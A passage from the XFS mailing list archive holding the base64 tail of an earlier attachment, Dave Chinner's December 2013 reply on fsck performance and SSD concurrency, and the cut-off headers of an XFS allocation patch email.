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 5Q/0+Xvp/deR3/Hb//nEPXsAQAcA ------=_NextPart_000_0AB3_01CEF703.A239C2A0-- From david@fromorbit.com Wed Dec 11 23:31:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 829297F4E for ; Wed, 11 Dec 2013 23:31:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1B333AC008 for ; Wed, 11 Dec 2013 21:31:05 -0800 (PST) X-ASG-Debug-ID: 1386826261-04bdf05ced20690001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 5ToKXNVYEmkruA3I for ; Wed, 11 Dec 2013 21:31:02 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ano8AMZJqVJ5LHyk/2dsb2JhbABZDoJ5OIx7lyQDjziFYU6BGBd0giUBAQMCOhwSERAIAxgJJQ8FJQMhE4gBDsIkFxaOcgeENASFKpJpjDiFXIJqUyg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 16:00:50 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqyrH-0000bZ-MX; Thu, 12 Dec 2013 16:30:47 +1100 Date: Thu, 12 Dec 2013 16:30:47 +1100 From: Dave Chinner To: Theodore Ts'o Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com Subject: Re: FAST paper on ffsck Message-ID: <20131212053047.GI31386@dastard> X-ASG-Orig-Subj: Re: FAST paper on ffsck References: <20131209180149.GA6096@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209180149.GA6096@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386826262 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143032 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 01:01:49PM -0500, Theodore Ts'o wrote: > Andreas brought up on today's conference call Kirk McKusick's recent > changes[1] to try to improve fsck times for FFS, in response to the > recent FAST paper covering fsck speed ups for ext3, "ffsck: The Fast > Filesystem Checker"[2] > > [1] http://www.mckusick.com/publications/faster_fsck.pdf > [2] https://www.usenix.org/system/files/conference/fast13/fast13-final52_0.pdf Interesting - it's all about trying to lay out data to get sequential disk access patterns during scanning (i.e. minimise disk seeks) to reduce fsck runtime. Fine in principle, but I think that it's a dead end you don't want to go down. Why? Because it's the exact opposite of what you need for SSD based filesystems. What fsck really needs is to be able to saturate the IOPS capability of the underlying device rather than optimising for bandwidth, and that means driving deep IO queue depths. e.g I've dropped xfs_repair times on a 100TB test filesystem with 50 million inodes from 25 minutes to 5 minutes simply by adding gobs of additional concurrency and ignoring sequential IO optimisations. It's driving bandwidth rates of 200-250MB/s simply due to the IOPS rate it is acheiving, not because I'm optimising IO patterns for sequential IO. In fact, it dispatches so much IO now that the limitation is not the 60,000 IOPS that it is pulling from the underlying SSDs, but mmap_sem contention caused by 30-odd threads doing concurrent memory allocation to cache and store all the information that is being read from disk... Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Wed Dec 11 23:34:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 055747F4E for ; Wed, 11 Dec 2013 23:34:45 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D78F0304067 for ; Wed, 11 Dec 2013 21:34:44 -0800 (PST) X-ASG-Debug-ID: 1386826482-04cbb041666c7150001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id HBVZdLbv04M3KjGX for ; Wed, 11 Dec 2013 21:34:43 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAMZJqVJ5LHyk/2dsb2JhbABZgwe7WRd0giUBAQUnLzMIGDE5AxsZiAHCMhePJYQeBKongz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 16:04:41 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vqyv2-0000bo-BP for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vqyv2-0003cZ-AF for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 4/6] xfs: swalloc doesn't align allocations properly Date: Thu, 12 Dec 2013 16:34:36 +1100 X-ASG-Orig-Subj: [PATCH 4/6] xfs: swalloc doesn't align allocations properly Message-Id: <1386826478-13846-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386826478-13846-1-git-send-email-david@fromorbit.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386826482 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by 